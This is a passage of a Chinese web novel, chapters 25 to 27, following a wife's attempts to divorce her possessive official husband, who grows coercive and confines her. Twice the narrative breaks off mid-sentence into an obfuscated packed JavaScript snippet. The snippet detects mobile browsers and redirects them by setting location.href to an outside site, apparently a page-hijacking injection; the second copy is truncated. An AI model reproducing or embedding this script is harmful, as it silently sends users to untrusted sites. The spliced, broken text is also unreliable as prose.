这么胡思乱想着,马车悠然停下。 两个丫头先下车,放好脚凳,帘子被掀起一角。 靳连珠看着那只熟悉的手,抿紧嘴,皱起眉,很不愿触碰。 片刻之后,帘子被掀的更高,沈敬行大半个身子出现在她视野里。他一言不发,向她摊开掌心,眼底沉着墨色,压迫力十足,无声地道:过来。 25. 第二十五回 这是官道,前前后后停着不少马车,主人家都是有头有脸儿的门户。 一直僵持下去不是个事儿,恐叫外人笑话。 靳连珠没法子,只得暂且低头。 她缓缓伸出手,搭上他的掌心,借力下车之后就要松开,岂料他率先反应过来,大力攥住她的手,借着宽大衣袖的遮掩,腕子一转,与她十指相扣,亲密无间。 靳连珠先是意外,滚圆的眼睛瞪得更圆乎了,跟擦洗锃亮的葡萄一般,心道,今儿太阳打西边儿出来吗,有这么些外人在场,他竟肯与她肢体接触。 紧接着回过味儿来:恐怕与早晨送来的首饰一样,又是他自作聪明的哄人法子。 靳连珠不领情,拧着腕子要挣脱。 恰巧有一位面生的大人携娘子前来问候,靳连珠不敢再动,硬挤出一丝笑意回礼。 随后双方结伴步行前往行宫。 期间聊起诸多见闻,靳连珠方才知晓,这座行宫的监造竟也有沈敬行的一半功劳。细算起来,那时他不过十五六岁,果真当得起官家“矜智负能”的赞誉。 大抵觉得沈敬行性子太沉闷无趣,那位大人说得口干舌燥,兀自沉默一会,眼尖地瞅见前方有人,立即告辞,拉着娘子快步过去攀谈。 鸟鸣声不绝于耳,花香沁人心脾,靳连珠紧绷的神经得以松懈,静静观赏四周的景色。 沈敬行怕她心中龃龉未消,自己太过冒进只会适得其反,牵一会便痛快地放开了。 微风灌入袖中,吹着出汗的手心儿泛冷意。靳连珠掏出帕子仔细擦拭汗水,顺势离他远一些,可沈敬行紧跟着又贴近几分,偏要与她并肩而行。 靳连珠不欲在外发作脾气,闷闷地忍着。 沈敬行高她许多,稍一低头,看见她鬓间扑棱翅膀的蛱蝶钗,思量片刻,主动问起:“我差人送去的那些首饰,你一件儿也瞧不上?” 按理来说不应该。 她惯来最喜欢他送的东西,更遑论是他亲自挑的。 靳连珠没直面回答他喜不喜欢,转而道:“待和离的时候,我不会带走任何沈家的东西,所以你今后别送了,怪麻烦的。” “还有。” 靳连珠觉得有必要着重提一嘴:“你别责怪敛秋没办妥差事。” 沈敬行刚见好转的心情瞬间跌至谷底。 本以为放靳连珠冷静一段日子就能考虑清楚,可她竟仍惦记着和离,也不知到底受谁的嗦摆,俨然是铁了心了。 从前怎么没发现她如此冥顽不灵。 再者,她与其关心敛秋,还不如多问问他。 这些天他整夜宿在工部,吃不下睡不好,除去忙公务,挤出的空闲全用来思索他们之间的事儿。 以前他从不会放纵自己像这般虚度光阴,而今也为她破例了。 可她却真就如同嘴上说的那般,对他全然不抱希望,静等着他改变心意在和离书上签字。若说闹别扭是妇人的常态,那她闹得也忒过火了。 沈敬行绷起脸,兀自沉默着,很不想在这种原则性问题上低头让步。 两人一路无话至行宫,甄宛筠早早儿就在此候着了,望见一对璧人往这方来,猜到是靳连珠,撇下官人赶紧过去迎接。 许久不见,靳连珠自也是高兴的。 甄宛筠亲昵地挽住她胳膊,念叨:“前些日子听闻你病了,我着实担忧,赶到府上探望,却得知你晕着无法见人。如今见你面色红润,体格也不似从前那么娇弱了,就知沈敬行把你养的极好,一颗悬着的心便也能放回肚子里了。” 听见后半句,靳连珠表情有一瞬的凝滞。 沈敬行紧皱的眉头则舒展开,应下姗姗来迟的王濮存一声问候。 寒暄片刻,靳连珠同甄宛筠走上相反的小径,原以为她要带自己先向皇后娘娘请安,可越走越偏僻,靳连珠奇怪:“这是往哪儿去?” “随处逛逛。” “娘娘那边……” “不慌不慌。” 甄宛筠笑说:“你们来得晚一些,不晓得官家刚下了口谕,允臣子们不必前去见礼,只管携内眷赏花,莫负春景。” 靳连珠方才安下心。 前方花开的正艳,远看去彷如一片浓密的绯云,香味扑鼻却不烈,偶尔从天际边掠过几只鸟儿,嗓音细细、低低的,高低起伏,比乐坊里的曲儿更动听。 坐在小亭中,享受日光沐浴,微风拂面而过,靳连珠只觉近来因为那些杂事滋生的晦暗气息被驱散不少。她小幅度活动着肩膀,身子逐渐松快。 甄宛筠惯来爱热闹,顾及靳连珠内敛的性子,没带着她扎到人堆里,可嘴巴一张一合的,压根儿就没歇下过。 说着说着,便从家长里短聊到今日的赏花宴。 此事也是她入宫时偶然听来的。 “娘娘不知因为什么生官家的气,一连多日都没让官家进入寝宫,官家无可奈何,这才想出借着赏花宴哄娘娘开心。表面上,官家不让众臣前去拜见,实则是不方便,好不容易得来与娘娘独处的机会,不得多多聊一会,把误会解开么。” 靳连珠没想到甄宛筠这么大的胆子,竟敢私下八卦大内的事儿。 她慌张地左瞧右瞧,确认婢女们站得远远的,压根听不见,周围一时又没有他人经过,紧绷的神经得以舒缓,但一颗心还是咚咚撞着胸膛。 靳连珠赶紧竖起手指抵在唇边:“嘘——” “你慎言呀。” 甄宛筠全然不当作一回事,乐呵呵地:“这已不算甚么秘密了。前夕诸位大人滞留宫中,彻夜未归,吓得我以为出了什么要命的事,连夜入宫拜见太后娘娘,方才得知,官家是为了让大伙儿一起帮忙想主意。” 靳连珠怔愣过后,颇不可思议。 官家贵为九五之尊,尚且能拉低面子,为妻子做到这份上。 她心头五味杂陈,扯着嘴角强笑说:“官家和娘娘的感情这般深厚。” “那是自然。外人都道官家宠爱贵妃娘娘,殊不知,感情一事,不能全靠嘴上说,得看付出多少。肯为谁脚踏实地的做些事,就证明心在谁身上。” 靳连珠缄默不语,兀自斟酌着她的言论。 甄宛筠身子蹭啊蹭的,如愿蹭到靳连珠旁边,十分熟络的倚着她肩头剥橘子,喃喃自语:“那天夜里,沈敬,呃,沈大人也被留在宫里了。他回家之后没跟你说明吗?” 靳连珠接过她递来的橘子,被问得心头难受,眼睫轻微颤了颤。 最近他们都没怎么见面,偶尔一见面,开口便是和离之事,最终闹得不欢而散。放在以前,沈敬行更不会主动向她报备行踪。 某些与他相关的消息,她都是从外人口中得知的。 这回也不例外。 略一思忖,靳连珠还是没把两人之间发生的那些据实告知甄宛筠,和离虽然常见,但对沈敬行而言,或许会让他遭受非议。 她往嘴里塞了一瓣橘子,被酸的睁不开眼,含糊答:“我没问。” 甄宛筠却误解了,义愤填膺的,帮她说话:“肯定是他没讲,这个闷葫芦,亏得你时时刻刻惦记着他。” 靳连珠忙顺她的气:“倒也没……” 没有,时刻惦记着他。 甄宛筠瘪瘪嘴,话锋一转:“不过,竟敢在这个时候提分家,看来他也不是个不知道疼人的。” 暂且不论分家这一层,靳连珠不懂甄宛筠所言的“这个时候”是指的什么,但晓得肯定是沈敬行又没告知她的事情。 被蒙在鼓里的感觉并不舒服,索性靳连珠已经习惯了,干脆一笑了之,结束这个令她不快的话题。 - 天际擦黑,行宫设宴,分男女两席。 甫一落座,不少人便闻着味儿凑到靳连珠跟前献殷勤,弄得她受宠若惊,无措地饮下几盏酒,随便找个借口从席上开溜。 甄宛筠也识得眼色。 靳连珠一起身,她便赶快迎上前挡住那些纠缠不休的人。 慌慌张张逃到白天经过的湖畔,靳连珠往后瞧发现没人跟上,不由得松口气,迈下台阶,走入小径中,寻到个僻静之处坐着吹风醒酒。 白芷也被那阵仗唬到,纳闷:“他们犯什么魔怔?” ——还能为着什么。 靳连珠心道:沈敬行近来在官家面前很得脸,承担南边修建堤坝的公务,又享有先斩后奏之权,皇城内少不了闻着味儿来献殷勤的人。 男子有男子之间恭维的法子,但那些都是明面上的,至于他们手伸不到的地方,少不了内眷们往来走动,增进彼此的关系。 更何况,沈敬行这么一个公认的二十四孝子,竟然为她闹到要分家的份儿上。在外人眼中,夫妇感情不可谓不深厚。 逮着今日的机会,但凡有求于沈敬行或想从他那儿分一杯羹的门户,女眷们自然要竭尽全力讨好她,以盼她向他吹吹枕头风,往后的事儿便好办许多。 靳连珠这会子酒意上头,视野内一片迷蒙,实在没心思跟白芷掰开讲解其中的门道,于是单手撑着脑袋,阖上双眼休憩。 见状,白芷悄悄退到不远处守着。 - 多亏有王濮存和工部另外一位大人帮忙挡酒,沈敬行这才得以脱身,本想找个僻静的地儿醒醒神,转眼瞧见候在廊下的白芷,走近果然发现靳连珠。 三月的天儿,夜里风吹得还是很凉。 靳连珠衣衫单薄,裙摆飘摇,皎洁月光洒落在身上,隐约勾勒出娉婷身子。她一动不动的,安静到似是睡着了。 突兀的,仿佛空气中有柳絮飘入鼻腔,沈敬行感觉到一阵酥痒,情不自禁地挠了挠喉结,随后为了故意隐藏自己的这份不自然,挥手示意白芷到更远处守着。 靳连珠喝多了很少发疯,多数时候更容易犯困,眼下就格外想念雅韵轩的软榻,身子骨乏累的不得了。偏她又不能派人去催沈敬行,显得失礼。 这么胡思乱想着,额角竟然微微发胀。 恰有一只泛着凉意的指尖从她颈侧缓慢抚上来,激得她背脊一颤,猛地扭身躲开,表情十分戒备。 沈敬行伸出的手堪堪停在半空中,尴尬道:“是我。” 靳连珠也是一怔。 这方距男席有段路程,他怎么溜达到这儿来了? 又一阵风起,两人离得近,沈敬行嗅到一股淡淡的酒香味儿。他以为是自己身上的,担心会熏到她,往后稍退一步,问:“累了?” 靳连珠垂眼:“嗯。” 沈敬行唤白芷到近前来,吩咐她到席间去找拂冬,套好马车,到行宫南门候着。 “不去向官家娘娘见个礼再走?”靳连珠觉得不妥。 沈敬行一时无言。 他不知该如何向她说明,两位贵人这会子恐怕腾不出空。 天还没完全黑的时候,梅文殿的宫人们就被官家撵到大门外候着了,谁也靠近不了院子,更不知寝殿内在发生什么。 但,也不是很难想到。 沈敬行面皮薄,在这事上终究保守一些,委实张不开这个嘴。 他碰了碰发烫的耳根,含糊应:“不必。” 浓浓夜色遮掩住他的异样,靳连珠没发觉什么,低头从他身旁绕过去——她晓得他不是个不知轻重的,既然说了不必,那肯定就是不必。 以往,沈敬行都是那个自顾自走在前头的人,反正他步子有意放慢,用不了多久,靳连珠就会跌跌撞撞地碰到他,顺势抓着他的手,一边撒娇一边晃悠。 如今的情况截然相反。 沈敬行不动声色地盯着靳连珠的背影,心中默念着数字,可眼瞅着一条小径就到头,她自始至终都没回过一次脸,全当作身后没他这个人。 沈敬行心头升起一股浓烈的失落感,破天荒的头一回,想闹出些甚么过分的动静,好吸引她的注意。 他脚步一歪,直接撞上旁边的石柱,咚得一声响。 没把控好力道,疼得半边身子真真儿在发麻。 痛吟也是真情实感的。 私下静谧无声,因而靳连珠听得真切,脚步一停,转身看向他:“醉成这样?” 她记得他酒量还算不错。 沈敬行没应答,扶着石柱勉强站直,看样子并不好受。 靳连珠不得已折返到他旁边,搀着他的臂弯,询问:“磕到哪儿了?” “左肩。” 难得卖惨一回,沈敬行心虚不已,脑袋低垂,没看她。 靳连珠不再多言,扶着他,缓慢前行。 行宫这条小径格外僻静,两侧隔几米的石柱上燃着烛火,入夜之后只闻虫鸣蛙叫,连带着花香味儿都没那么浓重了。 靳连珠夜里看不太清路,遂把头垂得更低。 沈敬行瞥不见她的表情,心下无端慌乱,主动伸出食指抵住她的下巴,稍微用力向上抬,暗示她不要这么弓背。 孰料,靳连珠反应更快一些,偏头直接躲开他接下来的触碰。眼仁在黝黑的夜里也亮着光,照得沈敬行那点小心思无处遁形。 “肩膀不疼了?” 沈敬行眸光闪烁:“……还是,有些疼的。” 靳连珠便顺理成章的理解为,那样的微末痛觉已经不耽误他行走了,于是撤回手,与他保持一段距离。 馨香味儿骤然远离,沈敬行眉心一跳,下意识去挽留。 他手死死握住她的,教人挣脱不得。 靳连珠意外之余,又有些烦闷。 他们之间分明已有了结论,却非要纠缠,弄得没完没了了,徒增烦恼,招惹麻烦。 最让靳连珠摸不清的当属沈敬行的行为举止。 他素来果断,何况这桩婚事本就阴差阳错,彼此之间又无甚深厚感情,可他一而再再而三的藕断丝连,使得她有种不知道该怎么讲述的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203676|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪异。 靳连珠不再作徒劳的挣扎,抿了抿嘴,道:“你别误会,我这回并未使性子。” 沈敬行瞳孔骤缩,当即决定当作没听见,自顾自说:“工部的事务都交接完毕,最迟十日之后便可出发前往淮州,义兄那方,我明儿差人过去问问,若是收拾妥当了,咱们便提前启程。” 靳连珠面色不佳,心道:又来了。 若是他听见不想听的,干脆装聋作哑,或者顾左右而言其他,根本不肯心平气和的与她对话。 靳连珠无可奈何地叹:“待你肯放我离开,那我便可日日待在家中,也不必与双亲分离了。” 类似的话听得多了,便成沈敬行心头的一根刺,轻易触碰不得。 他当即寒了眼,正欲反驳,却被她抢先拦下话头。 “我本以为,依照你的聪明才智,这几日过去就能想得明白。我提和离,并非从婆母那儿受委屈,不敢反抗就跑到你跟前拿乔,更不是介意你蓄婢纳妾。” “至于长辈之间不公平的交易,也只是导火索罢了。” “真真儿是因为,我同你过不下去了。” 他们从未平等的相处过,这样的夫妻关系反倒更像上下级。 沈敬行真正想要的是一位对官人无条件服从,待沈家能不计较付出,贤惠稳重的大娘子。而靳连珠所求却是缠绵悱恻,风花雪月,更要一位敞开心扉坦诚相待,可以平平淡淡共度岁月的官人。 所以,就算没有被偶然戳穿多年前那桩交易,随着年岁流逝,他们之间的矛盾总会迸发,日子总有过不下去的时候。 还不如,就停在这里。 总好过撕破脸面,最后提起彼此唯余恨意。 沈敬行直直地盯着靳连珠,恨不得用目光在她心口挖个大洞,瞧一瞧她的心脏还热乎不?可事实上,靳连珠俨然下定决心了。 跟之前那回全然不同,靳连珠没哭没闹,没说那些抱怨的言辞。他送的礼物她看都不看,他低声下气的认错,她听都不听。 几日过去,她仍旧不改想法,十分淡然的跟他分析利弊,仿佛已经参破红尘,悟出真理,故而能做到理性至极。 反倒是他,额角直抽抽,胸口难以言喻的堵塞。 沈敬行掌心渗出细密的汗珠,体温逐渐升高,尽管如此,他仍没有放手的想法,甚至牵得更紧一些,企图用这样幼稚的法子彰显他们的关系。 可惜,再长的路也有走到尽头的时候。 望见挂着灯笼的马车,还有周遭三三两两离席的大人们,靳连珠咬紧牙,狠狠掐他一把,指甲陷入肉里去,钻心的疼。 沈敬行吃痛,条件反射的松懈力道。 趁这空隙,靳连珠拎起裙摆,迅速钻入车厢。 沈敬行原打算直接跟进去,却被王濮存撞见,叫到一旁闲聊。 他今夜为他挡下不少酒,醉态酩酊,说起话来还大舌头。这样了,还不忘拉着他聊什么诗词歌赋。 沈敬行哪有心思。 王濮存跟前儿的小厮不在,应该是向甄宛筠传口信儿去了。 女席到这边有段距离,甄宛筠一时半会儿的赶不过来。 沈敬行又不能把醉醺醺的王濮存丢在路边,刚想唤敛秋到近前看着他,转念思及与靳连珠刚刚闹得不愉快,眼下恐不便再过去烦她,省得彼此之间的嫌隙更深。 他差使拂冬先驾车送大娘子回府,独自留下来陪着王濮存。 说完之后,沈敬行眼神往车帘那方瞟,期盼着靳连珠能露个面,叮嘱他一两句。 从前她惯来是如此的。 偏偏今时不同往日。 夜路难行,马车驾驶起来慢一些,待完全消失在视野里的时候,沈敬行才恋恋不舍的收回视线,紧接着,听见王濮存因为酒醉变得格外温吞的声调:“你家娘子,怎的,一声不吭就走了?” 连外人都看出不对劲了。 沈敬行睫毛扑闪两下,失落地低垂。 片刻后,他冷不丁说:“我有一友人,近日遇见一桩很棘手的麻烦,向我寻求解决的法子,偏我也不擅此道。正巧你在,念叨给你听听,保不准你能有解决之法。” 沈敬行似是被风吹得冷,低头整理本就一丝不苟的衣衫,低喃:“你意下如何?” 周遭无人,王濮存卸下担子,大喇喇往后一倒,靠在假山上合了眼。 “请讲。” 沈敬行咽了口唾沫,试量着开口:“那位友人与他娘子感情和睦,承诺永不纳妾,不成想,家中长辈竟背地里为他张罗。娘子因此与他闹脾气,扬言要和离,他百般解释也无法让娘子消气,委实苦恼不已。” “依你之见,此事该怎么处理?” 王濮存以为是公事,没想竟是私事。 还是别人家的私事。 他诧异地看向沈敬行,险些以为他借口友人,实则在讲自个儿。 偏偏沈敬行一脸坦荡,俨然一副行得正坐得端的君子模样。自从他成亲,品尝过情爱滋味之后,寡淡的性子改变不少,或许就有这份闲情逸致管起旁人的烦恼了。 再联想到他们夫妇,惯来是靳娘子更黏人一些,沈敬行又为她做到要分家的地步。由此可见,二人的感情且深厚着呢。 于是打消念头,认真思索起他口中关于友人的那桩麻烦。 “纳妾成了?” “当然没有。” 沈敬行反感地皱眉:“他盟誓在前,怎可违背。” 王濮存被他略显激动的语调弄得怔愣一瞬,不过未起疑心。依照自己的经验,掂量着作答:“那说明,他认错的态度和法子都没让娘子满意。” 沈敬行唰得抬起眼帘:“何解?” “首先,认错的态度上要端正。二人因为什么生的矛盾,就得积极解决根源,绝对不能回避。有时候娘子嘴上不说,实则心里一笔一笔都记着呐,且看哪天忍无可忍直接爆发,再想挽回就晚了。” 沈敬行觉得言之有理,听得格外认真,颔首示意他继续。 王濮存清清嗓:“归根结底,还是纳妾坏了事儿。” “做官人的得先稳住娘子的心。须知,夫妇之间,甜言蜜语是最不嫌多的,谁不愿多听几句掏心窝子的好话?” “再者,得解决家中有异心的长辈。夫妇关系不睦,多由长辈从中挑唆,今儿一个美妾,明儿一个通房女婢,搁谁能受得了?” “如果娘子还不乐意给台阶下,那便依照她的喜好多多备礼,必要时候,就别端着架子了,向娘子低头服软亦不失大丈夫风范。” “这般双管齐下,任凭天大的矛盾都能翻篇儿。” 沈敬行细细咂摸一番,愁绪不减分毫:“如果这些法子都用过了,娘子还是心意不改呢?” 王濮存耸耸肩,无可奈何道:“那,就是铁了心要离了。” 沈敬行呼吸一顿,脸色霎时变得难看起来。 26. 第二十六回 当天秦凌莲很快就回来了,本以为这么迅速是她没相中,结果却是出乎意料的满意。 那位公子官职虽不高,但却是个脚踏实地干实事的,不愁日后没个好前程。 双方交换过庚帖,按理婚前长辈们要见一面商议婚仪的详细事宜,因着秦凌莲双亲远在岭东,便由老夫人代劳。 婚期定在三月之后的十五,并不仓促,可慢慢准备。 府上添了这么一桩喜事,气氛也跟着欢悦起来。 唯有靳连珠犯起头疼。 自从行宫赏花宴把话说开之后,沈敬行大抵是动了怒,决定要冷着她,直至她彻底打消念头,于是再没来过雅韵轩。 眼瞅着和离书搁置在桌面上快要生霉,靳连珠按捺不住,主动前往书房寻他。 不过她吸取教训,只在院外站着,唤敛秋进去通传。 敛秋却说:“家主近日都歇在工部,娘子若有急事,可以直接到那儿找。” 也许是沈敬行有令,他连代为传话都不敢了。 靳连珠从前没发觉沈敬行这般强硬,偏她无计可施,气得厉害。 次日,敛秋一大早就又端着首饰盒替沈敬行示好来了,靳连珠余怒未消,烦的厉害,自然不会收。 见状,白芍待敛秋也没什么好脸色,恨不得拿扫帚把人撵走。 没成想,沈敬行竟然越挫越勇。 除去首饰,衣裳、吃食、话本之类的轮番上阵,速度之快、频率之繁,靳连珠连拒绝都来不及说。 她没精力再处理这些,干脆让白芷列个清单,一应放置于杂物间。 反正,她也不会带走。 既然沈敬行不肯放她走,那她名义上就还是沈家的主母。作为秦凌莲的表嫂,于情于理都该给即将成婚的姑娘送一份礼。 送什么礼,能不失体面,又彰显心意。 靳连珠在库里徘徊一阵,最终选了一件价值高昂的红珊瑚摆件,包装好之后,亲自到秦凌莲那处走了一趟。 没料到,屋里这么热闹。 喜婆和女婢们不断进出,张罗着婚仪的必备物什。 秦凌莲端坐在床榻上绣婚服和盖头,见着靳连珠进门,赶紧放下手里的活计,唤人到近前奉茶。 靳连珠看了一圈儿,目光最终定格在窗纸上张贴的火红喜字,恍然忆起自己个儿当初出嫁的心情,也是这般欢天喜地的。 临近出发的日子,她甚至激动到夜里翻来覆去地睡不着,于是挑灯绣帕子,险些把眼睛熬坏了。 那时候,她是真的相信他们会恩爱到白头。 哪料到,最后会落得这般下场。 靳连珠浅啜一口茶水,卷下舌尖的酸涩,佯装若无其事地问:“距离婚仪还有三个月,这么早就贴上喜字了?” 秦凌莲腼腆一笑:“是男方那边的意思。” 早贴红字,图个吉利。 算起来,秦凌莲也是远嫁。 大婚的东西原本要两边分开准备,但男方家格外重视她,除去必要的婚服和盖头得她亲自绣,其余的全由男方代劳。 秦凌莲那位未来的官人还拿出一部分私产充作嫁妆,就为让她踏踏实实地嫁过来。 靳连珠不晓得其中的门道,担心说多说错招惹笑话,哦了一声,兀自沉默了。 秦凌莲便也无话。 饮罢一盏茶,礼送完,靳连珠起身告辞。 秦凌莲突然起身相送。 因着礼前这几月新娘子不宜见人,秦凌莲只能送她到院门口,示意尾随的婢女们退下,主动拉起靳连珠的手,真切地喊了一声:“表嫂。” 靳连珠颇有些意外,正欲启唇应和,念及她和沈敬行名存实亡的关系,到嘴边的话转个弯儿,变成了:“你有事,但说无妨。” 秦凌莲面露愧疚,唇瓣翕张几回,一时之间竟不知道该从何讲起。 靳连珠明了她的意思,拍拍她的手背:“我懂得你的苦衷。” 如果有所依仗,谁愿意为人利用,委身做妾? 比起年迈的鳏夫,从小一起长大的沈敬行已经是她的最优选择了。 不知怎的,靳连珠生出一股感同身受的悲怆,叹息:“过去的都过去了,不必计较恁多。常言道,女子嫁人之后又是另一番光景。那位公子如此看重你,念你到他家以后也不会难过,这样便是最好了。” 寥寥一句话,就让秦凌莲红了眼眶。 靳连珠及时道:“新娘子这会掉眼泪可不吉利。” 秦凌莲这才把泪水吞回肚子里,郑重其事的向她道声谢,又道了声对不住。 靳连珠为使她安心,爽快地接受了。 - 从那方回来之后,靳连珠显得有些心不在焉,晚饭没用几口就让人撤掉席面,独自留在屋内,通过大开的窗牖,眺望一轮明月。 夜色萧然,无风无波澜。 院内一片静悄。 靳连珠侧卧于美人椅上,精神一放松,倦意随之涌入脑海。 半梦半醒中,她隐约觉得浑身发烫,紧着眉仔细品味一下,惊觉热源来自下方。 靳连珠瞌睡一扫而空,骤然睁开眼,双手双腿并用企图逃离。 动作太大,美人椅被带动着偏转,发出刺耳的响声。 寂静夜晚中,这动静异常明显,可外头守夜的下人却并未叩门询问。 亦或者,根本就没有守夜的下人。 反倒把另一人给吵醒了。 沈敬行双臂环着她的一把细腰,不由分说地拉回怀里,还不忘提起下滑的毯子,强硬又含糊地嘀咕:“莫动。” 靳连珠被这一出吓得心跳如雷,随即敏锐地嗅到空气中飘拂的丝丝酒气,眉心一惊,隐约觉得事态不妙。 她撑着两侧扶手想起身,再不济,离他远一点也好。 殊不知,春衫单薄,两人贴在一起蹭来蹭去的更难受。 沈敬行不得已睁开眼睛,透过浓浓夜色大致描绘出她的轮廓,呵出一口滚烫浊气:“方才问你,你说就在这儿歇。现在又闹什么?” 靳连珠气恼:“我那时困极了,根本不记得。” 沈敬行头疼,手臂抄过她腿弯,作势抱她到不远处的床榻上歇息。 靳连珠反应过来,胳膊肘立即抵住他的锁骨。 她挣扎的太剧烈,美人椅响的愈发厉害,咯吱咯吱的动静听起来有说不尽的暧昧。 刚靠近的下人闻声,脸一红,又匆匆退到院外。 沈敬行察觉到她激动的情绪,于是不再动,纳闷:“作甚?” 靳连珠胸膛起伏不定,烦道:“你到榻上歇着,我就在这儿睡。” 意识到她误解了自己的意图,沈敬行臊得慌。 所幸屋内漆黑一片,掩盖他泛红的耳尖。 刚松开胳膊,靳连珠就像一只滑不溜秋的鱼儿,立即挣脱出他的怀抱,站在不远处,满眼警惕。 见状,沈敬行心头犹如被针扎过,泛开密密麻麻的疼。 他收起试图挽留的手,舔了舔干燥的唇,情绪不明地说:“为什么把我送你的红珊瑚转赠给表妹?” 就算不喜欢,也该留起来。 怎么能浪费他的一片心意。 靳连珠不想作答。 她累得厉害,只想把美梦续上,于是转身往床榻走去。 沈敬行被她忽视,难免恼怒。 但负面情绪转瞬即逝。 只因想起王濮存说,对待娘子要有耐心。 他扪心自问,这一方面做的很不合格。 有,则改之。 沈敬行压了压心绪,捡起掉落在地上的毯子,随手一折,放置于美人椅上。 他今夜与同僚饮了不少酒,过去这么久味道应该散的差不多了,保险起见,他还是站在窗前吹了会儿风,方才回到内间开始褪衣。 有沈敬行在,靳连珠怎可能睡得踏实,本打算等他离开再合眼,突然听见窸窸窣窣的声音,她心中一骇,猛地翻身坐起来。 “你要在这儿歇?” 沈敬行不明所以:“不然?” 靳连珠当即下榻,给他腾位置。 饶是个木头,一而再再而三的被拒之门外也该生出些脾气了。 更何况,沈敬行是个有七情六欲的、活生生的人。 他一连忍耐许多天,自认为把身段放入尘埃,依照旁人支的招频频向她示好,可她仍不领情,把他往外推的趋势愈演愈烈。 沈敬行听见脑中轰得一声巨响,手不听使唤地攥住她,使了劲儿,决计不让她挣脱,厉声道:“别使性子。” 靳连珠疼得厉害,险些以为腕骨被他捏碎,眼眶霎时间红了一圈。 沈敬行自觉失态,眼中闪过一丝慌张,松懈些许力道,语气柔和下来:“天色已晚,你这样折腾来折腾去,谁都甭想歇着了。有什么事,明儿再说。” 明日复明日,明日何其多。 他一味推脱,到底想耗到什么时候? 靳连珠当真受够了,心弦如溃败的堤坝,愤怒倾泻而出:“该说得我已经说清了,不管过几个明日都不会改变心意。念在夫妻一场,我不愿与你闹得难堪,留的几分情面在,日后也好相见,可你若想拖死我,我也不必再念劳什子的情分。” “实在不成,我就到开封府告官去。” 说着说着,靳连珠就发了疯。 浑似个泼妇样儿,颤抖着手,指着他怒叱:“与你做夫妻时,你全凭心情随意处置我,而今与你谈和离,你也不要我好过。我到底做错了什么,让你这么折磨我?我连反抗你的能力都没有,难道就是什么十恶不赦的罪人吗?!” 嚷嚷完,她突然蹲下,抱着双臂,埋起头,哭得那样声嘶力竭。 俨然被逼的走投无路了。 沈敬行大脑一片空白,紧跟着她蹲下去,伸出的双手于半空中无助停顿片刻,缓缓攥紧,再没敢触碰她。 他全然不知自己竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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片刻之后,她指着门口的方向,咬牙道:“走。” 事到如今,沈敬行竟还妄图挽回自个儿在她心底的形象,他强压住心底翻涌的阴霾,半强硬地搀她起身,自认为体贴的留下一句:“别哭了,小心头疼。” 靳连珠自然不会正眼看他。 沈敬行自讨个没趣,沉默半晌,两步一回头地走了。 - 夜里闹出的动静格外大,隔天却没传出去丁点儿消息。 阖府上下一切照旧,表姑娘的婚事还是众人眼前的头等大事。 不肖想,定是沈敬行的手笔。 撕破脸皮之后,靳连珠才发觉沈敬行还有从不示于人前的另一面,更加寡言寡语,手腕强硬,不容置喙。 在他不动声色的面皮之下,不知还藏着什么盘算。 唯一能确认的是,沈敬行动起真格来,连老夫人都无计可施,否则一早便带着人来给靳连珠施加压力了。 可一连四五日过去,不仅碧波轩没动静,连雅韵轩也变得安生许多。 一直到入夜,靳连珠才察觉不对劲。 院儿里的人都还是熟悉的面孔,唯独少了白芷和白芍两个丫头,且,除去她必要的吩咐,其余时候,下人们就老老实实待在廊下,压根不理会她的诉求。 靳连珠旋即反应过来情况,神色冷峻,双唇抿直——这算怎么一回事?商议无果,他便打算困着她,逼她就范吗? 到用晚饭的时候,靳连珠气得没什么胃口,命人把席面撤掉。 下人们面面相觑,谁都不敢动。 靳连珠猜也不用猜就知道是沈敬行的吩咐,为难下人也无用。 她应付吃了几口,兀自坐到窗前愣神。 直至明月高悬,屋内最后的烛光熄灭,紧闭的房门才被推开。 沈敬行在外奔波一整日,回来之后特地在外间沐浴过。 他撩开纱幔走近,弯腰欲抱她,那股淡雅的香气紧跟着扑面而来。 靳连珠突地睁眼,侧身躲开他,语气中难掩嫌恶:“你凭什么关着我?” 沈敬行大抵没料到她还未歇息,怔愣过后,说:“我没有。” 顿了顿,又道:“你今日出门,有人阻拦了?” 靳连珠死死盯着他,很想从他这张波澜不惊的面皮上寻出一丝破绽,可惜无果。她皱起眉,不答反问:“白芷和白芍呢?你把她们弄哪儿去了?” “我差她们先去新宅子,一切依照你的喜好置办,另择个良辰吉日,咱们便可搬过去。待收拾妥当了,再出发前往淮州。” 沈敬行好声好气的跟她商量:“你意下如何?” “……” 靳连珠说不出任何话来。 她看着他的眼神惊悚,直觉他看上去虽然冷静,其实已经疯了。 她久久不语,沈敬行也沉默着。 为了方便抱她,他背脊弯下来,双手撑在美人椅两侧,距离近到彼此的呼吸交融。 以前的靳连珠一定会及时伸出胳膊挂在他脖颈上,一边叫着官人,一边引诱他撒欢。但现在的她只觉得眼前的人无比陌生,一举一动都让她束手无措,甚至心生恐惧。 靳连珠轻轻地打了个寒颤,很不合时宜,又并不意外地冒出一个念头——她得逃。 27. 第二十七回 大概是怕又惹靳连珠哭,沈敬行没敢再强硬地抱她,看着她入睡就离开了。 此后,每日他都到雅韵轩用饭,比先头她病中的时候来得更加殷勤,唯一一点不同就是夜里不留宿。 靳连珠感觉诡异的很。 猜出沈敬行此举应当是为了哄她不和离,所以尽力扮演一位熨帖的官人。 可惜他不谙此道,做起来处处都违和,仿佛为了保住人前的体面,非套上一件不合体的华服,反倒更像个笑话。 两人这么不冷不热的过了三日半,靳连珠终于在傍晚见着那两个丫头。 她拉着她们仔仔细细瞧了一圈儿,确认没出岔子,提着的心终于放回肚子里。 再一问,才知道沈敬行没骗她,真让两个丫头领着下人们布置新宅去了。 白芷暂且没说什么。 但白芍是个憋不住事儿的,奇怪:“娘子与家主和好了?” 